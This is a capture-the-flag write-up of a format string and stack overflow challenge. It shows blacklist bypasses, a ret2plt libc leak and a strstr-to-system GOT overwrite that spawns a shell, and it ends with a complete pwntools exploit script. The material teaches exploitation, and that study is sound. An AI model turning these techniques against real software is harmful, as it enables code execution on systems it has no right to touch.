Classic Echo [PWN]

format string lead to stack overflow and to got overwrite

Chall

Let`s read source code of Program

Now the challenge gets two inputs from the user and compares it to the blacklist if the input contains any character from the blacklist then it will not print the input but if the input does not contain any character from the blacklist It will print the input

in line 40: there is format string bug

he used printf to print the input but he didn`t use Format Specifier to To avoid the Format String vulnerability

Now how do you get to line 40? and implement printf()?

try enter input not contains any character from the blacklist

now let's check what protections are enabled in program

the RELRO is Partial That mean you can overwrite GOT and Global Variables of program

Canary: Not Enabled

NX: enabled

PIE: not enabled that's sounds good

Ideas for Exploit

  • Try leak Libc Base address and Bypass ASLR from The first input and the second Input try overwrite __do_global_dtors_aux_fini_array_entry with main() function address that's make the program doesn't exit and when load the inputs again overwrite printf() or strstr() got entry with system() = this idea won't work because the RELRO is Partial That's make overwrite __do_global_dtors_aux_fini_array_entry impossible

  • Try Overwrite strstr() or printf() got entry to main() function that's make the program have infinite loop and doesn't stop and leak Libc Base Address and Overwrite strstr() got entry to system = this idea won't work because the program have condition before run print() with your input if strstr(data,blacklist) != NULL run printf(data) and when you overwrite strstr() got entry to main() will be have infinite loop but you lost your format string bug

  • Try Overwrite format_specifier variable to "%s" to get stack overflow and launch ret2pt attack and return to main() function and overwrite strstr() got entry to system() function = this idea will be work

Exploit Steps

  1. find format string offset

  2. overwrite format_specifier variable to "%s"

  3. launch ret2plt attack and leak Libc Base Address and return to main()

  4. use format string again to overwrite strstr() got entry with system()

Problems with exploit

we need %p to get format string offset but %p is in black list what i go to do to solve this problem ?

we can leak address as hex value not pointers with this

%llX

we need %c to overwrite with format string bug but %c is in black list what the solve of this problem ?

change from %c to %C to bypass this problem and make the write_size='short'

Exploit

1- find format string offset

after try many offsets to find the offset ,i found the offset

Offset = 18

2- overwrite format_specifier variable to "%s"

we need replace() to replace c with C in exploit

Run the script and attach the process id from gdb

we overwrited the variable successfully 🎉

now the second input is vulnerable a stack overflow try Control RIP

we need 280 Bytes to Control RIP

3- launch ret2plt attack and leak Libc Base Address and return to main()

run the script

we leaked libc base address successfully 👍

4- use format string again to overwrite strstr() got entry with system()

now we have everything we need to call system() and execute "/bin/sh"

run the script

Finally we have shell 🎉🎉🎉

thank you for reading my writeup.

Exploit POC

from pwn import *
p = process("./main")
elf = ELF("./main")
libc = elf.libc
context.arch = "amd64"


#-----------------------------------------Format String Lead To Stack overflow----------------
offset = 18
format_specifier = 0x404090
# 0x7325 = "%s"

payload = fmtstr_payload(18,{format_specifier: 0x7325},write_size='short').replace(b'c',b'C') 


p.sendlineafter(b'input>',payload)

#-----------------------------------------Ret2plt and Leak libc base address----------------

p.clean()

pop_rdi = p64(0x4013d3)

# execute puts() and pass puts_got as parameter

payload = b"A"*280
payload += pop_rdi
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts']) # puts(puts_got) will print the real address of puts function
payload += p64(elf.sym['main']) # after that return to main() to use the address we leaked 

p.sendline(payload)
libc.address = u64(p.recvline()[260::].strip().ljust(8,b'\x00')) - libc.sym['puts']
success(f"libc.address: {hex(libc.address)}")

#-----------------------------------------GOT Overwrite----------------


payload = fmtstr_payload(18,{elf.got['strstr']: libc.sym['system']},write_size='short').replace(b'c',b'C') 


p.sendlineafter(b'input>',payload)
p.sendline(b'/bin/sh\x00')
p.clean()
p.interactive()

Last updated